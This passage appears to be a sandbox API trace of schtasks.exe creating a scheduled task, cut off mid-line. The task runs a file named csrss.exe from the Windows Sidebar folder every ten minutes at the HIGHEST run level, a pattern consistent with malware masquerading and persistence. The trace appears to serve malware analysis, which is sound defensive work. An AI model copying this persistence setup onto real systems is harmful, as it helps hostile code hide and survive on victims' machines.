(lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0058.548] SetLastError (dwErrCode=0x490) [0058.548] lstrlenW (lpString="mo") returned 2 [0058.548] lstrlenW (lpString="mo") returned 2 [0058.548] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.548] lstrlenW (lpString="f") returned 1 [0058.548] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.548] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|mo|") returned 4 [0058.548] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|f|") returned 3 [0058.548] lstrlenW (lpString="|mo|") returned 4 [0058.548] lstrlenW (lpString="|f|") returned 3 [0058.548] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0058.548] SetLastError (dwErrCode=0x490) [0058.548] lstrlenW (lpString="d") returned 1 [0058.548] lstrlenW (lpString="d") returned 1 [0058.548] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.548] lstrlenW (lpString="f") returned 1 [0058.548] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.548] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|d|") returned 3 [0058.548] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|f|") returned 3 [0058.548] lstrlenW (lpString="|d|") returned 3 [0058.548] lstrlenW (lpString="|f|") returned 3 [0058.548] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0058.548] SetLastError (dwErrCode=0x490) [0058.549] lstrlenW (lpString="m") returned 1 [0058.549] lstrlenW (lpString="m") returned 1 [0058.549] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.549] lstrlenW (lpString="f") returned 1 [0058.549] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.549] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|m|") returned 3 [0058.549] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|f|") returned 3 [0058.549] lstrlenW (lpString="|m|") returned 3 [0058.549] lstrlenW (lpString="|f|") returned 3 [0058.549] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0058.549] SetLastError (dwErrCode=0x490) [0058.549] lstrlenW (lpString="i") returned 1 [0058.549] lstrlenW (lpString="i") returned 1 [0058.549] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.549] lstrlenW (lpString="f") returned 1 [0058.549] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.549] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|i|") returned 3 [0058.549] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|f|") returned 3 [0058.549] lstrlenW (lpString="|i|") returned 3 [0058.549] lstrlenW (lpString="|f|") returned 3 [0058.549] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0058.549] SetLastError (dwErrCode=0x490) [0058.549] lstrlenW (lpString="tn") returned 2 [0058.549] lstrlenW (lpString="tn") returned 2 [0058.549] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.549] lstrlenW (lpString="f") returned 1 [0058.549] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.549] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|tn|") returned 4 [0058.549] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|f|") returned 3 [0058.549] lstrlenW (lpString="|tn|") returned 4 [0058.549] lstrlenW (lpString="|f|") returned 3 [0058.549] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0058.550] SetLastError (dwErrCode=0x490) [0058.550] lstrlenW (lpString="tr") returned 2 [0058.550] lstrlenW (lpString="tr") returned 2 [0058.550] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.550] lstrlenW (lpString="f") returned 1 [0058.550] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.550] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|tr|") returned 4 [0058.550] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|f|") returned 3 [0058.550] lstrlenW (lpString="|tr|") returned 4 [0058.550] lstrlenW (lpString="|f|") returned 3 [0058.550] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0058.550] SetLastError (dwErrCode=0x490) [0058.550] lstrlenW (lpString="st") returned 2 [0058.550] lstrlenW (lpString="st") returned 2 [0058.550] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.550] lstrlenW (lpString="f") returned 1 [0058.550] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.550] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|st|") returned 4 [0058.550] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|f|") returned 3 [0058.550] lstrlenW (lpString="|st|") returned 4 [0058.550] lstrlenW (lpString="|f|") returned 3 [0058.550] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0058.550] SetLastError (dwErrCode=0x490) [0058.550] lstrlenW (lpString="sd") returned 2 [0058.550] lstrlenW (lpString="sd") returned 2 [0058.550] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.550] lstrlenW (lpString="f") returned 1 [0058.550] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.550] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|sd|") returned 4 [0058.550] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|f|") returned 3 [0058.550] lstrlenW (lpString="|sd|") returned 4 [0058.551] lstrlenW (lpString="|f|") returned 3 [0058.551] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0058.551] SetLastError (dwErrCode=0x490) [0058.551] lstrlenW (lpString="ed") returned 2 [0058.551] lstrlenW (lpString="ed") returned 2 [0058.551] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.551] lstrlenW (lpString="f") returned 1 [0058.551] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.551] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|ed|") returned 4 [0058.551] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|f|") returned 3 [0058.551] lstrlenW (lpString="|ed|") returned 4 [0058.551] lstrlenW (lpString="|f|") returned 3 [0058.551] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0058.551] SetLastError (dwErrCode=0x490) [0058.551] lstrlenW (lpString="it") returned 2 [0058.551] lstrlenW (lpString="it") returned 2 [0058.551] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.551] lstrlenW (lpString="f") returned 1 [0058.551] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.551] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|it|") returned 4 [0058.551] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|f|") returned 3 [0058.551] lstrlenW (lpString="|it|") returned 4 [0058.551] lstrlenW (lpString="|f|") returned 3 [0058.551] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0058.551] SetLastError (dwErrCode=0x490) [0058.551] lstrlenW (lpString="et") returned 2 [0058.551] lstrlenW (lpString="et") returned 2 [0058.551] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.551] lstrlenW (lpString="f") returned 1 [0058.551] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.551] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|et|") returned 4 [0058.552] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|f|") returned 3 [0058.552] lstrlenW (lpString="|et|") returned 4 [0058.552] lstrlenW (lpString="|f|") returned 3 [0058.552] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0058.552] SetLastError (dwErrCode=0x490) [0058.552] lstrlenW (lpString="k") returned 1 [0058.552] lstrlenW (lpString="k") returned 1 [0058.552] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.552] lstrlenW (lpString="f") returned 1 [0058.552] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.552] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|k|") returned 3 [0058.552] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|f|") returned 3 [0058.552] lstrlenW (lpString="|k|") returned 3 [0058.552] lstrlenW (lpString="|f|") returned 3 [0058.552] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0058.552] SetLastError (dwErrCode=0x490) [0058.552] lstrlenW (lpString="du") returned 2 [0058.552] lstrlenW (lpString="du") returned 2 [0058.552] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.552] lstrlenW (lpString="f") returned 1 [0058.552] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.552] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|du|") returned 4 [0058.552] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|f|") returned 3 [0058.552] lstrlenW (lpString="|du|") returned 4 [0058.552] lstrlenW (lpString="|f|") returned 3 [0058.552] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0058.552] SetLastError (dwErrCode=0x490) [0058.552] lstrlenW (lpString="ri") returned 2 [0058.552] lstrlenW (lpString="ri") returned 2 [0058.552] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.552] lstrlenW (lpString="f") returned 1 [0058.552] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.553] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|ri|") returned 4 [0058.553] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|f|") returned 3 [0058.553] lstrlenW (lpString="|ri|") returned 4 [0058.553] lstrlenW (lpString="|f|") returned 3 [0058.553] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0058.553] SetLastError (dwErrCode=0x490) [0058.553] lstrlenW (lpString="z") returned 1 [0058.553] lstrlenW (lpString="z") returned 1 [0058.553] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.553] lstrlenW (lpString="f") returned 1 [0058.553] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.553] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|z|") returned 3 [0058.553] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|f|") returned 3 [0058.553] lstrlenW (lpString="|z|") returned 3 [0058.553] lstrlenW (lpString="|f|") returned 3 [0058.553] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0058.553] SetLastError (dwErrCode=0x490) [0058.553] lstrlenW (lpString="f") returned 1 [0058.553] lstrlenW (lpString="f") returned 1 [0058.553] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.553] lstrlenW (lpString="f") returned 1 [0058.553] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.553] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|f|") returned 3 [0058.553] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|f|") returned 3 [0058.553] lstrlenW (lpString="|f|") returned 3 [0058.553] lstrlenW (lpString="|f|") returned 3 [0058.553] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0058.553] SetLastError (dwErrCode=0x0) [0058.553] SetLastError (dwErrCode=0x0) [0058.553] GetProcessHeap () returned 0x50000 [0058.553] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x20) returned 0x6ced0 [0058.553] _memicmp (_Buf1=0x6bbf0, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.553] LoadStringW (in: hInstance=0x0, uID=0x20d, lpBuffer=0x6d400, cchBufferMax=256 | out: lpBuffer="LIMITED") returned 0x7 [0058.554] lstrlenW (lpString="LIMITED") returned 7 [0058.554] GetProcessHeap () returned 0x50000 [0058.554] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x10) returned 0x6d6c0 [0058.554] GetThreadLocale () returned 0x409 [0058.554] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="LIMITED", cchCount2=-1) returned 1 [0058.554] GetProcessHeap () returned 0x50000 [0058.554] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x20) returned 0x6cea0 [0058.554] _memicmp (_Buf1=0x6bbf0, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.554] LoadStringW (in: hInstance=0x0, uID=0x20e, lpBuffer=0x6d400, cchBufferMax=256 | out: lpBuffer="HIGHEST") returned 0x7 [0058.554] lstrlenW (lpString="HIGHEST") returned 7 [0058.554] GetProcessHeap () returned 0x50000 [0058.554] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x10) returned 0x6d6e0 [0058.554] GetThreadLocale () returned 0x409 [0058.554] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="HIGHEST", cchCount2=-1) returned 2 [0058.554] GetProcessHeap () returned 0x50000 [0058.554] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x20) returned 0x6ce70 [0058.554] _memicmp (_Buf1=0x6bbf0, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.554] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x6d400, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0058.554] lstrlenW (lpString="MINUTE") returned 6 [0058.554] GetProcessHeap () returned 0x50000 [0058.554] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0xe) returned 0x6d700 [0058.554] GetThreadLocale () returned 0x409 [0058.554] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="MINUTE", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 2 [0058.555] SetLastError (dwErrCode=0x0) [0058.555] GetProcessHeap () returned 0x50000 [0058.555] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x1fc) returned 0x6c4b0 [0058.555] GetProcessHeap () returned 0x50000 [0058.555] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x20) returned 0x6ce40 [0058.555] _memicmp (_Buf1=0x6bbf0, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.555] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x6d400, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0058.555] lstrlenW (lpString="First") returned 5 [0058.555] GetProcessHeap () returned 0x50000 [0058.555] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0xc) returned 0x6d720 [0058.555] GetProcessHeap () returned 0x50000 [0058.555] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x20) returned 0x6ce10 [0058.555] _memicmp (_Buf1=0x6bbf0, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.555] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x6d400, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0058.555] lstrlenW (lpString="Second") returned 6 [0058.555] GetProcessHeap () returned 0x50000 [0058.555] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0xe) returned 0x6d740 [0058.555] GetProcessHeap () returned 0x50000 [0058.555] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x20) returned 0x6cde0 [0058.555] _memicmp (_Buf1=0x6bbf0, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.555] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x6d400, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0058.555] lstrlenW (lpString="Third") returned 5 [0058.556] GetProcessHeap () returned 0x50000 [0058.556] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0xc) returned 0x6d760 [0058.556] GetProcessHeap () returned 0x50000 [0058.556] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x20) returned 0x6cdb0 [0058.556] _memicmp (_Buf1=0x6bbf0, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.556] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x6d400, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0058.556] lstrlenW (lpString="Fourth") returned 6 [0058.556] GetProcessHeap () returned 0x50000 [0058.556] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0xe) returned 0x6d780 [0058.556] _memicmp (_Buf1=0x6bbf0, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.556] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x6d400, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0058.556] lstrlenW (lpString="Last") returned 4 [0058.556] GetProcessHeap () returned 0x50000 [0058.556] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0xa) returned 0x6d7a0 [0058.556] lstrlenW (lpString="10") returned 2 [0058.556] _wtol (_String="10") returned 10 [0058.556] _memicmp (_Buf1=0x6bbf0, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.556] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x6d400, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0058.556] lstrlenW (lpString="First") returned 5 [0058.556] _memicmp (_Buf1=0x6bbf0, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.556] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x6d400, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0058.556] lstrlenW (lpString="Second") returned 6 [0058.556] _memicmp (_Buf1=0x6bbf0, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.556] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x6d400, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0058.556] lstrlenW (lpString="Third") returned 5 [0058.556] _memicmp (_Buf1=0x6bbf0, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.556] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x6d400, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0058.556] lstrlenW (lpString="Fourth") returned 6 [0058.556] _memicmp (_Buf1=0x6bbf0, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.557] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x6d400, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0058.557] lstrlenW (lpString="Last") returned 4 [0058.557] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x21c4a0, cchData=128 | out: lpLCData="0") returned 2 [0058.557] _memicmp (_Buf1=0x6bbf0, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.557] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x6d400, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0058.557] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0058.557] GetProcessHeap () returned 0x50000 [0058.557] GetProcessHeap () returned 0x50000 [0058.557] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6d720) returned 1 [0058.557] GetProcessHeap () returned 0x50000 [0058.557] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6d720) returned 0xc [0058.557] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6d720 | out: hHeap=0x50000) returned 1 [0058.557] GetProcessHeap () returned 0x50000 [0058.557] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x16) returned 0x6d720 [0058.557] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x21c4c0, cchData=128 | out: lpLCData="0") returned 2 [0058.557] _memicmp (_Buf1=0x6bbf0, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.557] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x6d400, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0058.557] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0058.557] GetProcessHeap () returned 0x50000 [0058.557] GetProcessHeap () returned 0x50000 [0058.557] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6d740) returned 1 [0058.557] GetProcessHeap () returned 0x50000 [0058.557] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6d740) returned 0xe [0058.557] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6d740 | out: hHeap=0x50000) returned 1 [0058.557] GetProcessHeap () returned 0x50000 [0058.557] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x16) returned 0x6d740 [0058.557] GetLocalTime (in: lpSystemTime=0x21c6f0 | out: lpSystemTime=0x21c6f0*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x10, wSecond=0x2b, wMilliseconds=0xcc)) [0058.558] lstrlenW (lpString="") returned 0 [0058.558] GetLocalTime (in: lpSystemTime=0x21cfa8 | out: lpSystemTime=0x21cfa8*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x10, wSecond=0x2b, wMilliseconds=0xcc)) [0058.558] lstrlenW (lpString="") returned 0 [0058.558] lstrlenW (lpString="") returned 0 [0058.558] lstrlenW (lpString="") returned 0 [0058.558] lstrlenW (lpString="") returned 0 [0058.558] lstrlenW (lpString="10") returned 2 [0058.558] _wtol (_String="10") returned 10 [0058.558] lstrlenW (lpString="") returned 0 [0058.558] lstrlenW (lpString="") returned 0 [0058.558] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0058.575] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0058.758] CoCreateInstance (in: rclsid=0xff691ae0*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xff691ad0*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x21cd70 | out: ppv=0x21cd70*=0x29dee0) returned 0x0 [0058.775] TaskScheduler:ITaskService:Connect (This=0x29dee0, serverName=0x21ce50*(varType=0x8, wReserved1=0x21, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0x21ce10*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x32524553524150), domain=0x21ce30*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x21cdf0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc0, varVal2=0x100000001)) returned 0x0 [0058.869] TaskScheduler:IUnknown:AddRef (This=0x29dee0) returned 0x2 [0058.869] TaskScheduler:ITaskService:GetFolder (in: This=0x29dee0, Path=0x0, ppFolder=0x21cf08 | out: ppFolder=0x21cf08*=0x3e7db0) returned 0x0 [0058.875] TaskScheduler:ITaskService:NewTask (in: This=0x29dee0, flags=0x0, ppDefinition=0x21cf00 | out: ppDefinition=0x21cf00*=0x3e7e00) returned 0x0 [0058.876] ITaskDefinition:get_Actions (in: This=0x3e7e00, ppActions=0x21ce80 | out: ppActions=0x21ce80*=0x3e7ec0) returned 0x0 [0058.876] IActionCollection:Create (in: This=0x3e7ec0, Type=0, ppAction=0x21cea0 | out: ppAction=0x21cea0*=0x3e66a0) returned 0x0 [0058.876] lstrlenW (lpString="'C:\\Program Files (x86)\\Windows Sidebar\\csrss.exe'") returned 50 [0058.876] lstrlenW (lpString="'C:\\Program Files (x86)\\Windows Sidebar\\csrss.exe'") returned 50 [0058.876] lstrlenW (lpString=" ") returned 1 [0058.876] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0058.876] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0058.876] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0058.876] StrChrW (lpStart=" ", wMatch=0x3a) returned 0x0 [0058.876] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0058.876] StrChrW (lpStart=" ", wMatch=0x50) returned 0x0 [0058.876] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0058.876] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0058.876] StrChrW (lpStart=" ", wMatch=0x67) returned 0x0 [0058.876] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0058.876] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0058.876] StrChrW (lpStart=" ", wMatch=0x6d) returned 0x0 [0058.877] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0058.877] StrChrW (lpStart=" ", wMatch=0x46) returned 0x0 [0058.877] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0058.877] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0058.877] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0058.877] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0058.877] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0058.877] StrChrW (lpStart=" ", wMatch=0x28) returned 0x0 [0058.877] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0058.877] StrChrW (lpStart=" ", wMatch=0x38) returned 0x0 [0058.877] StrChrW (lpStart=" ", wMatch=0x36) returned 0x0 [0058.877] StrChrW (lpStart=" ", wMatch=0x29) returned 0x0 [0058.877] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0058.877] StrChrW (lpStart=" ", wMatch=0x57) returned 0x0 [0058.877] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0058.877] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0058.877] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0058.877] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0058.877] StrChrW (lpStart=" ", wMatch=0x77) returned 0x0 [0058.877] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0058.877] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0058.877] StrChrW (lpStart=" ", wMatch=0x53) returned 0x0 [0058.877] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0058.877] StrChrW 